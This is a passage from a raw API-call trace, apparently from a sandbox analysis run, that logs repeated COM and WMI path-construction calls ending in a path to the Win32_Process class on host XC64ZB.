Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d33c0) returned 0x0 [0123.832] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d33c0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0123.832] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d33c0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x6558b0) returned 0x0 [0123.832] WbemDefPath:IUnknown:Release (This=0x1b4d33c0) returned 0x0 [0123.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x6558b0) returned 0x0 [0123.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0123.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0123.833] WbemDefPath:IUnknown:AddRef (This=0x6558b0) returned 0x3 [0123.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0123.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0123.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d3340) returned 0x0 [0123.833] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d3340, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0123.833] WbemDefPath:IUnknown:Release (This=0x1b4d3340) returned 0x3 [0123.833] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0123.833] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0123.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0123.833] WbemDefPath:IUnknown:Release (This=0x6558b0) returned 0x2 [0123.833] WbemDefPath:IUnknown:Release (This=0x6558b0) returned 0x1 [0123.833] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0123.833] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0123.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x6558b0) returned 0x0 [0123.833] WbemDefPath:IUnknown:AddRef (This=0x6558b0) returned 0x3 [0123.834] WbemDefPath:IUnknown:Release (This=0x6558b0) returned 0x2 [0123.834] WbemDefPath:IWbemPath:SetText (This=0x6558b0, uMode=0x4, pszPath="") returned 0x0 [0123.834] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0123.834] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0123.834] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0123.834] IUnknown:Release (This=0x6124e8) returned 0x1 [0123.834] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d3360) returned 0x0 [0123.834] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d3360, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0123.834] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d3360, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x655370) returned 0x0 [0123.835] WbemDefPath:IUnknown:Release (This=0x1b4d3360) returned 0x0 [0123.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x655370) returned 0x0 [0123.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0123.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0123.835] WbemDefPath:IUnknown:AddRef (This=0x655370) returned 0x3 [0123.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0123.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0123.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2f60) returned 0x0 [0123.835] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2f60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0123.835] WbemDefPath:IUnknown:Release (This=0x1b4d2f60) returned 0x3 [0123.835] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0123.835] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0123.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0123.835] WbemDefPath:IUnknown:Release (This=0x655370) returned 0x2 [0123.835] WbemDefPath:IUnknown:Release (This=0x655370) returned 0x1 [0123.835] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0123.835] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0123.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x655370) returned 0x0 [0123.836] WbemDefPath:IUnknown:AddRef (This=0x655370) returned 0x3 [0123.836] WbemDefPath:IUnknown:Release (This=0x655370) returned 0x2 [0123.836] WbemDefPath:IWbemPath:SetText (This=0x655370, uMode=0x4, pszPath="") returned 0x0 [0123.836] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655370, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0123.836] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6558b0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0123.836] WbemDefPath:IWbemPath:GetClassName (in: This=0x655370, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0123.836] WbemDefPath:IWbemPath:GetServer (in: This=0x655370, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0123.836] WbemDefPath:IWbemPath:SetServer (This=0x655370, Name="XC64ZB") returned 0x0 [0123.836] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0123.836] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0123.836] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0123.836] IUnknown:Release (This=0x6124e8) returned 0x1 [0123.837] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d3120) returned 0x0 [0123.837] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d3120, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0123.837] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d3120, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x6566f0) returned 0x0 [0123.837] WbemDefPath:IUnknown:Release (This=0x1b4d3120) returned 0x0 [0123.837] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x6566f0) returned 0x0 [0123.837] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0123.837] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0123.837] WbemDefPath:IUnknown:AddRef (This=0x6566f0) returned 0x3 [0123.837] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0123.837] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0123.837] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d3240) returned 0x0 [0123.837] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d3240, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0123.837] WbemDefPath:IUnknown:Release (This=0x1b4d3240) returned 0x3 [0123.837] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0123.837] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0123.837] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0123.838] WbemDefPath:IUnknown:Release (This=0x6566f0) returned 0x2 [0123.838] WbemDefPath:IUnknown:Release (This=0x6566f0) returned 0x1 [0123.838] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0123.838] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0123.838] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x6566f0) returned 0x0 [0123.838] WbemDefPath:IUnknown:AddRef (This=0x6566f0) returned 0x3 [0123.838] WbemDefPath:IUnknown:Release (This=0x6566f0) returned 0x2 [0123.838] WbemDefPath:IWbemPath:SetText (This=0x6566f0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0123.838] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655370, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0123.838] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6566f0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0123.838] WbemDefPath:IWbemPath:GetText (in: This=0x6566f0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0123.838] WbemDefPath:IWbemPath:GetText (in: This=0x6566f0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0123.838] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x655370) returned 0x0 [0123.838] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6566f0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0123.838] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x6566f0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0123.838] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x6566f0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0123.838] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x655370, uIndex=0x0, pszName="ROOT") returned 0x0 [0123.838] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x6566f0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0123.838] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x6566f0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0123.838] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x655370, uIndex=0x1, pszName="CIMV2") returned 0x0 [0123.838] WbemDefPath:IWbemPath:GetClassName (in: This=0x655370, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0123.838] WbemDefPath:IWbemPath:SetClassName (This=0x655370, Name="Win32_Process") returned 0x0 [0123.838] WbemDefPath:IWbemPath:GetInfo (in: This=0x655370, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0123.838] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655370, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0123.838] WbemDefPath:IWbemPath:GetText (in: This=0x655370, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0123.839] WbemDefPath:IWbemPath:GetText (in: This=0x655370, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0123.839] WbemDefPath:IWbemPath:GetInfo (in: This=0x655370, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0123.839] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655370, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0123.839] WbemDefPath:IWbemPath:GetText (in: This=0x655370, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0123.839] WbemDefPath:IWbemPath:GetText (in: This=0x655370, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0123.839] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0ae0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0123.839] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0123.839] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0123.839] WbemDefPath:IWbemPath:GetText (in: This=0x655370, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0123.839] WbemDefPath:IWbemPath:GetText (in: This=0x655370, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0123.839] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0123.839] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0123.839] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0123.839] IUnknown:Release (This=0x6124e8) returned 0x1 [0123.840] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b4d3000) returned 0x0 [0123.840] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d3000, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0123.840] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d3000, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x6567b0) returned 0x0 [0123.840] WbemDefPath:IUnknown:Release (This=0x1b4d3000) returned 0x0 [0123.840] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f0003f8*(Data1=0x0, 